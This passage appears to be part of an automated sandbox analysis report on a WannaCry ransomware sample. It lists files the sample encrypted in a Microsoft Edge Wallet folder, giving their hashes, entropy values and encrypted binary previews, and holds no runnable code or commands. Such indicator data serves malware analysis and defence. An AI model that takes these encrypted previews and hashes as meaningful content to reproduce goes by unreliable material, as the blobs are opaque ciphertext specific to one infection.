                                                                                                                                                                              Preview:WANACRY!.....N...\..Q.r1.`............_...+..D3g.....g.`t..Z+U`...}.....ZT.....c...g...a..~...:*...l..l..D..D]+X.....f.E..i.5.C...c...d#<.r....bl.]-......q.....3.2...N.>...,>.H.......V.RL.2:..i..Si.tjG..\$.y*.h..w;.b9...v.....2{.1.MC...}."....N.T....N.t..h....'........&.Y.......y..9W(..7....:..R;+../b.Lkp.<.#.........$.../n.A.C.yr_4...0 .!...e......t.........=g.J.......WE8G...i..*.}WTzp].?...^..tyL...\....9......Y&../}..6>..;...7S.P.......a...>...dq..j.1..Uk.-....a.O..sZ.vm.1uw.....uid..).........S...f.Th....H)t."~..i...e1...,.{~.X...(-d..!G..,.....W.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):329976
                                                                                                                                                                              Entropy (8bit):7.999399666477532
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:s6u2Is+mtM0wLi71ucnLJO0FPKK0uKP4olXXriXsypIVfOvtpQrmDB:9u2IB00iRLL8kKK0uMFXXriXIVf+/+md
                                                                                                                                                                              MD5:CB1FFAE58E043893D5C58A071343C93F
                                                                                                                                                                              SHA1:32993C955F20EB9C647B6671FE50140377FC5BBB
                                                                                                                                                                              SHA-256:2C25ED8AE11C5A4A6CFA23DBFC4DE7251AF277326064825FE4F3D18495DE1964
                                                                                                                                                                              SHA-512:27473FEBB32C57892F685918F879C1E1DCF757E3E0ED52AD6FA21C9FE95306CEED094B445D7B03CB39061A1F839C8DC9E75556C3BE0BE03CA84D94B453C0414E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......K.K.29.X(.\{..S....Tf....p.....3H..7....3Kb.ma.di...~M|.v.W9V.\e6......fb..G. .fRR.h1.....[._N.m!v3(.LL)e.?.........S..>.!.H."iht.".........:..M3.3-.-.{qyL.l7-...\.p..[..Z...D...../.h.....l.A_.Z.+....N1x...DT.0...V.;."y..,./.b..ER.....s..............5[....z.....!............F).y.....3B...i.'i^.b.zN...>..9.1k.g$......3....1..a..P.....R....a.X.>.....S...._.....&7.{..}........YF..%>K}XX.y.....9....$p... ...x..Y.o....#..:....BL. ........1.-0?9.e."j..D....(.1.....8h......F..G...bex...v.4M....Ea..C..KmH.g'.X.4]j.qjL..N~.~./.....fPT.....l...\FZ....'......O.q..2A..0.ME....>f68....(..}..^.I.,...X!.1..Z..K.Di.5.4.......he.K~J.N...+.;...P...^M.{:Iq.wU.axw.%.......~...)..#aI.9C.....yJ..P.o.SB#...\...W....2.#x...Z..f.W........%..Z_....U.#.q....$..Q.:}}Y..\..w`.f[.....^....M|.%...<{.....z......(..h..u..9....+}k...1..1..Z..Z6.c...0.).:....h1.0L...-..(h....k...,.(..S..][k....w.u...|.....M.wGY.H.....#......(_...xd........<.%..3`

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1608
                                                                                                                                                                              Entropy (8bit):7.887061783207562
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkNE3bMReX5Kn3qS7E6pj954N0ROfRWSPnU6H0Qp/TNjbm9vNUtARzeXPCjvVBR:bkNubMOK6avPvO4IUaBbmlNUapoaj3R
                                                                                                                                                                              MD5:50C10B5E36A0808FEAF129B7EEB4311C
                                                                                                                                                                              SHA1:733C42C8084DE5A6B3294ED6B9590A41B2EDFCD7
                                                                                                                                                                              SHA-256:A90B175439380F6B6512E729EB6EDEEA5F891920B516A59015BEE08043DBD9CB
                                                                                                                                                                              SHA-512:30B2A286E70C86D49A6A54AEC1C5E00791D5696331ACFDCD226AED55AA430941E42E79238F6A39D573EC2D0C07AEECE30C690099D5D35030683E83677A1DA790
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Pt.gkpVm....[..?...-.VA.o+!.q>..K%....g+...z>G......MZ..\$.d5.N...N.U.....`..bX../6.V.N.^= ..e6c../.*l.<.E....,.JD,3+......~......9.ld...j..B.f....../&..{....u.6....M./PS.wE.h.%....."a..dZ.x.. .....-..K.J.Zy.I..Q\6.V.ni=%..iH....2.V.r.........%.........(...S.}.m10..Y#.9.V!s.2.-..Ztf+5...|@....c.......Q....../S+y.~....V..;..2.+.......\C.......V.U.vY...Xngq.+...5../....=..Z.\.X.$.Q_...fA..T.O.Y_l../h...p....@...>&FP...Bv.)0..5..u..]9T.Fg[3.........U..\dWcK...-+v@...&.......;.s.....T.....|....!.x.....k..h-B.....$.`..F...s.]....>a....gm...O..I.j6Z[./.......A...O.>?.s.%....!.LJ.t....%5*.[P.l.j..!E...M=6a..Y..K.z5B.......<..a....>..........'p.*.c?....y..*;\..w+.$.G..(.$....E.'.p..PKe.^.E..M...]....nx.....k.F.V.F{.....r.Fy..QE...!`......e.5.b.p...a..3....~..^b..*.1...Z] .........n.*.`..{...3.Wto..%i~..=..-0../f..I..!.[..M...6.Y0.*..B.*.z...-....c8.?..9....m.....F.5F.S..#\-.,...l9]R.. [H..a..s..v.K..i.A....{/.p.U.......H..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):552536
                                                                                                                                                                              Entropy (8bit):7.999675470687117
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:XSpCBVKJfvyFtQmUw9JmNg7EyLmA5j3C9UhNDWM1DnU28d7:XZVEvDbFNgPLN5L+UvDR17UV7
                                                                                                                                                                              MD5:B849A60E1DE81320A8E343225EDD4BDD
                                                                                                                                                                              SHA1:E05FAD4DFCFF8337B212332FCAC17913FC3FD797
                                                                                                                                                                              SHA-256:800F5EAA78207BFA408170C2ED6B7D8D6BFBD037777A34AAEC7A8F59555ABBCE
                                                                                                                                                                              SHA-512:B0F04FCA49A95A35A96674E2DB64D103844F7724381DAA75D36147C682273998F9C30F901A7D975FD036C0C337D9998C8CF07CC75DA614DC679F23D61E095E71
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............N+..#IoV...Ka.)..7.R..\|&y.vY..fIFh.?.[...9....~...`6...VX.......^p{........:.x......Dd.....<....../.._...V....U..<.......P.~..>.h...U$kf.D.}.......B!....Q..i!...<@...P.."....G.q.7.c.Y..H/...)l`....7?Z.._...1.+`LT..SG0..\1jX..N..,..m....9m........B...`.%Kj..@.7......\^...L...O.&..4_z.7...}.=./6\.$W}q.k..~.h6.V...K.d".......v.z=......=}.P..H...W.q.....ukyA..0..............R.......#u4H.R............G.liOjI(..Tj.H.K..,.....T.K.y.+i...=.+4............H@........6.A.B[s.A.6..-..,7749I._S..gH....4V.s.iH.......Rx.....H.[..|5H.;+.J.....b.?.@...w.:.N....)_$...N.,.f{.}p.....X.f..rdK....w/f..8)I.b....7.n....{...f.6.{..N.../i...f....N...h.Q0...cH..=..de._...?f#mH]....[B..<..&:...i.w.FX.J....'...Zb..t,.E.*.....j..H.lYU.....Y.....b4.....X...uK.../.i....b\...\...Qz@.^Zy.|..ao..=r.......y.1n.p....v.0.*.x.....B.a e.+i@7.t.........(c....#.:...../.......<.u(%.2=aB.tT.b....:.....JO5*..:......3.q[.o.g).3t.ii..SP.<9.Ke.k....O.....*.....w.,

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\app-setup.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):328
                                                                                                                                                                              Entropy (8bit):7.2235315889821585
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE04hHffQ5wTmOrkKRJW8ufquPMBuq8xiBHdeOavklD64Aj+8aTZwW5SVi+x/q:bkEbRRTLky7uf+uHiB9Y1vDaN4V30
                                                                                                                                                                              MD5:3A1B3791D406B446CF395BEBFC38FE32
                                                                                                                                                                              SHA1:E59671620F38F566DD5E805E4A4894B4FA19447F
                                                                                                                                                                              SHA-256:2DF5B7922F57C6761B70488E72D0BCD92D9433B262CF7FC15863880819CBAC37
                                                                                                                                                                              SHA-512:290C2B0E7EAF1C4B6ABD62D128E4D1429B02023F2469A8C99F0BEFFB58A4A5BF6DAECEAA974D7FFAB8128673C450E35EA3D8656533C4C81215A647AFFFF7C4E3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......{90..I.S-.....I.Q.,=.A...h&A.........C.....VnT......;..=.....%..KJ`.4.J2Pf.].x..l.C...j.C.z.12.P(Z...6....YFN...WS...].|....vC[.....K...E.I..E.....-m..7.e..c..b....sc..d...F.<.^...2.....0+...a..[.&@.".{....?.....W.D..o#h....*...5..Y.....[....%.......cpd..B..)g%.vS........zPk*0S!..T..<.PzW.y2.2..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\load-ec-i18n.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16456
                                                                                                                                                                              Entropy (8bit):7.986832721972737
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:fOSiXE9zQN8348ff0qdFtb3nJ1N373Nsw4eXlZrHPELdbSUaVT:fVQi348ppZrr3N6eBgh7aV
                                                                                                                                                                              MD5:8F95EC689D0E9E23D2B0D8B708C5C193
                                                                                                                                                                              SHA1:8E27847E37FDD6C749938E15812BAD09F332DEC1
                                                                                                                                                                              SHA-256:145C1E032D515C055F210F2EC8B5A409FE34662C764ED07F2E99EF699830BDEE
                                                                                                                                                                              SHA-512:A3B283657976BFED2FCA578C5059C08A90DFFB6BA6D88628A27B0F19F2AFF199211FB3376416F597836417D35919CAA5DDDED1F39EB00332AB53C5A31D451906
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%l.$@.....C....V.....5.Mu...F..s.#`..Z..Sv.E...S.|..R>o..`u.ea.v..T.n|.c.....nb...B#&.;..B...1...=.....(P...e...7...k........\.D#..J.Y...A.$..Y...&..."T.(G...]......b8..a..&.w.}...[...6.N.B......Y.8..b*y.$w........+...tUx:...V..( /v...b.......}.....$?.......$.....[.q..i...p..=,r..!.....H...9p.1....s...........=j.m..AP...).[..h.]. .&..p:X.0..R.-...+k?....R.P..,{n.3...m.fjZ>s...F.;/....v.Fc..#CZ.2mf.R...6.W.RM.].6..z=....z..*.uf.....C.D....K..bz....]I.b..$..h.....m1.a...LV.&2.x............".....!._..O*..j.a1.(...n..?.S...O^.`.....=...2U:oH...L...8...&..L......@~.)........A..2..2.x...B..}..cw...P..)....H.*.x......Pf.{....+...RR.Ld~......-..&\8^{.U.U~.}Bu....+.c..x'&..s.qHHqnf.mB...|..O.g..3...Y.....&H..c..3wXe...i.g..c...r...4...B..G...W..+B..x..#.O..i....G.n.O.....x..m....)G..E..$...&...P.v5.3...NK..cv7...v...0.g...M...>........]..A.S..zs..JP.o^.S...Z....o.,::?.D. ....<...Ph.!.P.{*..4..##E.....p.._M.3../..S.9X:....5...&...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2088
                                                                                                                                                                              Entropy (8bit):7.912262613564004
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bklAzhd4mPo/6BpepIeEfIX9+MflxrQZ8AQAClD2EOyx5:ol04mPW6qejScMflxrE8Aqj5
                                                                                                                                                                              MD5:058FC4FBBAA9D8CFFFD4CDBAA6ED1EE2
                                                                                                                                                                              SHA1:761AD0E9FDE2C24D44CC1FBDDA4352674B5318C3
                                                                                                                                                                              SHA-256:912E7D565F9171DD90E40425BC50E60C9659E42EE5E344EEE0960E4177A007C9
                                                                                                                                                                              SHA-512:DA169C4FD6CCBC05CD3475F8DA191091CC8FCA4D4BA126BB20A176D5CBA7E73F26FA3411E361B0CD589A7DBF8D6CD5408075ED5C3DEDA17AD61886FA18A70C21
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,om....K.^=T...Z.`cP..WK.a..0.....]j....2.9'.#.... ...7...gB.hwh.).........'z.x....O.{........l.g....{1p..@|..I"E*..i...4R};/e....Zy...g!..B.......r..^Z...I\..7R+..~....m..WAT9....*..QW.....]3...H3.K.*.%.........b....}.=..dGX.-.....VX...@Z.I.[.v!.#...............Fx..g.......2.h.P.^w...A...f...Yy...L...mI.x.]=m4.~.rP..!....RA.*.I..|$.%.8.R..}....Q..y..d(.b._..a.p.Z...Q.7h.!.z&N..w..(.v..;2.;.5...z.$O..a.T...w.}V.L].N....5..(j...P..p<..^..._. ./?.g1....:...;i..../....q..,......'z/....hl:th<z.!.Yt.{.u.D...@....^.B_$...e...F.e..D.,e...xf...'.YNY.v..a.J.l....7I.5.....!c..H...c......]...J..G...<.`.....+1R...=........o.u3...e....F.'...n..P..*oU>......L.0.c.....2.^..q[.......1...%....."O3Q....,.,...R...R....+.....Z.I..plhc...z.....t.....;.C..k..v..[.?.C}.Q.e.....e;Ok.H.?...-...d...dO4qW.45F....9..U"......%....7|.t[S. F.?..w........g.6mH....|..A...........S*a..e|j..l.._..H...V].6a..//rJ<..^}.Y....=.us..z....N..?+.4*L.i..c...z.J

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1394952
                                                                                                                                                                              Entropy (8bit):7.99987965382756
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:YC06Or+wgB/WEfam/yuxJplU2cnX3C8FV7f/rC+1CJOpMh1cfn7xFICIK5Qbh:FnP0oplgXy8P7m+UJQNf7xFICIpbh
                                                                                                                                                                              MD5:35BF0963A78AA7F45F1E250D212EF2AA
                                                                                                                                                                              SHA1:CA5B8CBE50EA7377D4E4514D0FBDE0E2D8934DCD
                                                                                                                                                                              SHA-256:313B9F114E862798CFAEE924D0D14EBCAB9D1F598906B227CCC80D994F2EB1B0
                                                                                                                                                                              SHA-512:2093A7174F55F9749E35F286A225830A53597D49C4DFC588BD14199DE1CF87398818DA294D6B0243272DC0506145A02A85A3C29DE50CE5EA57EC91DB1406C02D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....K.!l.....0...\..X..X...T.k.B.A.K..h4.V..E.J.h#.E`.'.~.S....U.+...88...\.....k........{..[..pp.|wv..<.y......{.....Xxu...u...s...|...}.M.~.Qm...T..1=.^.{|..[l..Ny.>Y.4u,EF.9.q...K.......q...LG..O..f....K..O1..k ..FS.s_k.......rk...>Y.c..........G.......D..*&.]y.V.....s!.WE......b.<..^... .q.8..--...1..}T....^....a]...'3.......0:B.S.............3....*p...N...](....T....=8KI..z....%y... ..E.b.%..rKg#...........?... ...F.H........w..G.a9G....Q...oP...#p..M.QRYY.?.........`k..|....!..4j..6..K.c.8........$vq.DY.+.#.?............z.....k\..0.+-.2.9ZS-gj%>......K3o./.;./%~N.2....L.5>......}L2\...dn.t..@....s.m";....|O..6....j....w...g@h..2.f..A.d........d8R.a....mC*T..,4.._G....C"p....1....p.).L.x*.a*;....U........6.\......A3y...<3.n.^.J.{..s....g...S...[.Aue.......yNB.9.....l..,....!.......L......!QY".o])..a.^c...v^..........w.......u:.O.4...C~.Q....D.Pe..11.D`..g...YB.k...m.S1zN9.......fZk..[....e7T.M....b`q...o...H|}%...'.RJn.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\app-setup.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):488
                                                                                                                                                                              Entropy (8bit):7.4889472721369295
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkE0XIPlD/6Wj99BUlLbO/omyUK3EpfY9zKLZJ:bkLXIPB/pBUlLCgnEpfY9eLZJ
                                                                                                                                                                              MD5:75DBF31A0C0105C40D15CE5116D488CE
                                                                                                                                                                              SHA1:95DF46396DC48729D5176B224BF825529A63B10D
                                                                                                                                                                              SHA-256:62B65009BB11320C5DE385DE3FF7447F0C748853FF0E14E52D76221A95E11FF9
                                                                                                                                                                              SHA-512:C4975378149BBA1F3AE46CF698EE08B87B79A2AA85E5217BD1F81C82BF476FACC45D3A1747CA5A3D83A623B0844EE14E233EF1957B449651921D86B242C39756
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1.Z.......)..AHJZ.....Q....o.i..."..0).0..v..:?:<7....)]9........>.:.G....5qs;...:E.N.W.I..(k.9.BI.q.r...I.r1.Ex'..v` 5[...u...N...>...'(v...z..Z.u.3r.]+....F.'. B*\2/L,u..........d.:....\G...~...`_.(..!l..WuU.u...`.j....B6.Zu.'...9...os................c..z.......V....P..{..X....X.eS.Xx.5...H.dH..Q..N...$ta....zr..r.......v..$.KK=..7...x.........O.m..:p..r..#.Y{.......].ko..8..(.......!....^ ...ZR.....b.L.aStC..2....Q..f.V.A`.......C..[..2....wJ.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2040
                                                                                                                                                                              Entropy (8bit):7.893808948222191
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkJPc/XcWPRmdbLqyYjmgXTeKDUfzRNhQ00WwX2Ge/0aYGpZI:oC/XcWPREC8gjf4zRNAWD/05GPI
                                                                                                                                                                              MD5:160DD5D618FE27C91934D4E6383512CF
                                                                                                                                                                              SHA1:08A3A19AFA0142C0E1542CB1029052A660E3A9A0
                                                                                                                                                                              SHA-256:0E144460DD5984832111E230C5169FF5429FCFF42C9B23076F884A429F44D4B7
                                                                                                                                                                              SHA-512:A90C7ECAEA1A5F41D8E0998712B001F686BC8B62AF2C389CA46A5F2A069BF3FC339C68086833AEBF3F74D7D1EE8A468702D77C2A918258B912BC1FDF1DB929D2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.....#.<2..*.,.....x.|].>..... F..{....%...<...6+.p.....9[.!....\..Hh.^.i....`...#.....#..|_@..&.,..cM....;.n....e.[..0YX..c.....Xh.w..F.=.%i..:U....b..x[...(.e*.....Yw.sC.;.q.6.RG|.....%....*...%.e(.+.-......,.O..kG..Q.x.......yf......8.}...................N.o+....w..or/.2$!'...J.B.]l.dC.....j..}.a..b.L.-...)k.A.a{.V.L)...<Q.JW..!..)}.F._..<...._.xh...#..}....Mh....S.a..>e....U.0.b...@..o.#@...#\...k.f..).'.b.".2..B."...I...J..+.R..~Uzp.B.\T.H.........:#...........D-].?...a=........8....>.J^....B..3.^X...NC.....T_...t/.O\...@.m..X....$3..=C.,....#CE~.l..Z>..X*#..S....S._.|.."^....l..Z....>O........q..K....D....~S!y|8...._......^.N......+!=......[...Z..k.....[...p......a~`.gW.q.......a...Vs..-...c...]h:m...9.q.....+.F...u.m.$K..{.kcY...a.X...mm[.....z....em.N..w..Y..(..c....:.a[g.....Z^...ZV.?.....~-.iO....a3.c..Rq..!...U........1...K....U.N.g._hN4..1R.=%..........4......*...-...... ...r...l.v.O.lS%}[/Ik*..4k..>.F..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):843176
                                                                                                                                                                              Entropy (8bit):7.9997703634293345
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:Bosf9auWkFFJ9OMuP58tauyV4BBGq0YapYXC:WFaFv9OMuxgyCDD0h
                                                                                                                                                                              MD5:B69057A9AD54D17AB182D3AC973A135B
                                                                                                                                                                              SHA1:8CDA3992D649DFE92643FE119D5E4731C1CA5379
                                                                                                                                                                              SHA-256:463F15200C041B46A90A35F571AB5F4C3E7247FD5E81DE68EE8B8C3B3908C060
                                                                                                                                                                              SHA-512:3ED70F22D45354BD22691BE72D3E4E8F986F280F5887E19888AC3700B76BFA001061781BEA87C8A0FE338E6A676D5AE367A17A5E598DCA7DCE5D2503B8CDB971
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....G..;..H.......ql...l..b....O...-D..'..}=..c..W..{.....>...;C.l.M..4"c~..'W...C..(....v..W...db......^...C.....Ku"...US.!..-4......n.MF..y.A.t..L...\...k.w..I".-....X..2.jX|n.....ky1.....2.?...|:. ..JQ"c.3Ao.z\.2.@ng]Z<..`:.(..Cj$2.h..q.o.Kx..R..............wGp..(n:B..)=P.[.%3(z....y^WC.|/..X...UVk..H.|..];mH^..f....c...LG..r...F....8..4y..+..L3../s..Wr...2^_.....w..a..a.(......w...r.9..U/?.3ZN......>Ht..6.........>.c...Z.C........l...=".A.c..|S....K..`.ex*...W...X%.Gwk..[.~.#&M..o..k...$B...B7..}NJr....#..d..;.2.H$..*P....&Fg..;AC{.:......cf...J.$FL.?/J.fL...~.z...2...G...B....G..8J'..e....8.VM&...3H..Ko,.....uf..-.P.........b.X*....B......W....k@.<I2.Y.4.T..V.[.. ......%7)........3H}.{.1..c2...[.#n..._.....]>..:.).....g...Lc......#.A....$.m.AH...K...HL..r./[.#..*..L,.z...c:..(.%}....'qd.~.."..W....3...........>.*..h..W.M...E.z..4.C..B.Yf.l.......wzd7L.O@..{:.L.U..L..K.....+bc.D...G.E.:.....+.....'8.U.....P..&.=s5.@....I..f

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl_driver.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11832
                                                                                                                                                                              Entropy (8bit):7.9868141992574495
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:EVS0Pj9dd9WvNt+l+alBpcba4McGVnlwSijqP0Aj12bXTmySwTEVs7V2JTvdzb5H:EwSj9dXaAsalByb8N7TijE0AjeDmFwCN
                                                                                                                                                                              MD5:E465ABD3D47E5320637B38C6CB38C6D8
                                                                                                                                                                              SHA1:73B9F4F0117DA10F68A15DDE5B79278916FA6FE1
                                                                                                                                                                              SHA-256:45DF7BA295498FC79BA8A7FEE4A80EE92A2A7DD5DF16418E99B3A4550A63DE62
                                                                                                                                                                              SHA-512:D70027D398DD5C063B7B21BB5C86D285C880ABE2611C7E3F810242234F04741D8940DDD282366D2422B7C2FFA100242959F97EB1D888C0D6BDA3DEA866F420DC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......n......./.t.....C..........k.j..@Z|p.f.8Q.]".^..J....d..0-<?$.".zhm/..9.=\.~;.\AY.f6..eM..U..W...tW..q......0z~U<!..d.........W.,..[.?B.*$`..u....Q....[[..{..?<..~<^....Qoj.M..i2.G.`..3y.[.n.....+...p,..C...<o.....W...D....4.!8|...=K.,[\D....N......-......L....~......:c"2.. .'A...F..[..-.......&....[./........'.n.B....>>.+..N...,..id.]..=)....d........L..?g..u{G....by....>qi...........H..H...2..}4o4..z.-..J21....&.......@zSE..o.T.]!.|.Xr..]BG.....W..~..T.|......d...+4G.n...D............&....m..qoH.nk.m..N-7....z.>.7K.Q...$.IU C...Y.Y.`.....0..Y{.@.c.bY.H..H.<H7...........'..c).....A.2.P.f..3;pI...q.X8+.....9.$.(n...+ .,.F.........t."^.*..Y .@.d/...>.F...`o*...\.0... .k-..7.}.fY...f..m..!.t.J.....^W..{|..E..1u..|...GG5..j.Zg..........A..Z...]!.E^aD../C...$oY.Tb..3.U.....$.#.L.C....7....)|..E...X..u.!.A...D+....*.. vE..}.E....2.....t........T.X.k.d@......1=.....]\. 5....M.<..xNi2.o>O..W...^.......\;.............T.i.(..'.b.ps...H..j.G

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\crypto.bundle.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):408
                                                                                                                                                                              Entropy (8bit):7.415724943993021
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEnj/oQGC0Sm84AaGfU5lmqMOnzdIVYESphXTf:bkajGC0Z84A8JRnziV4phXT
                                                                                                                                                                              MD5:FDB85131F14B32CA6A38D4531620F88A
                                                                                                                                                                              SHA1:0D553DA553CD55DCD5AF21E6C6015BF49940F264
                                                                                                                                                                              SHA-256:E20705C8BAD24991270CAE7FCAA127E5BAD2742B44DF66F85385B7ADC917DDA7
                                                                                                                                                                              SHA-512:C0011CDF2A1712957133367227A980A3602EDF2195F62A72BA124803D74AD19C41551243D2BA005DFE8CE01668CAD652393560E12061453F76C382ED16E3D66B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......c..y..J.a....".0...r.....a/.$........:6_..._.2...2 .dm.....`!h.....#..F:z..L......n....B.......}.f...M.4t..MAax.G..V.H.#....%..< .z;.....z.:....F..W...2\..K..Q9....Npi..3}$....3t9pJ...O.&w..l..n.o.h..L../.H....e#6.a(.I.,......|.G\..-9.a.I@..oq.'....y.......g....0..|.;...s.(.L;?.i.0.I..D.......&q..S.$MYt.a&.n.%.,~.....s(Q...l......L}..aN.`O[......i..(..9n..nT.P..3..L.7......eBv

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):14632
                                                                                                                                                                              Entropy (8bit):7.988264026772371
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:9qk2Xnq44N4/DNrbeo/JS/SCAC2UUywmIUa9OVL:9n23/4ObFn6LUzm1aE5
                                                                                                                                                                              MD5:D33978CB7A4ECA8C951895385ABF974D
                                                                                                                                                                              SHA1:8F09E637DFC995D2BA8F0F3FA28FB31F351741D9
                                                                                                                                                                              SHA-256:849EF82418ABD225610F259E8DF9D760BE53258C85616C80D836F8E95D065A89
                                                                                                                                                                              SHA-512:948369CCB8DA6DC6AD6962DF45F13BA19CCAFAA120CDF1A5A3BDFF805931CC697A6D620F93B16396D4762E148BBB9AC5A874E9ECBE458604B257F454AA4E393C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
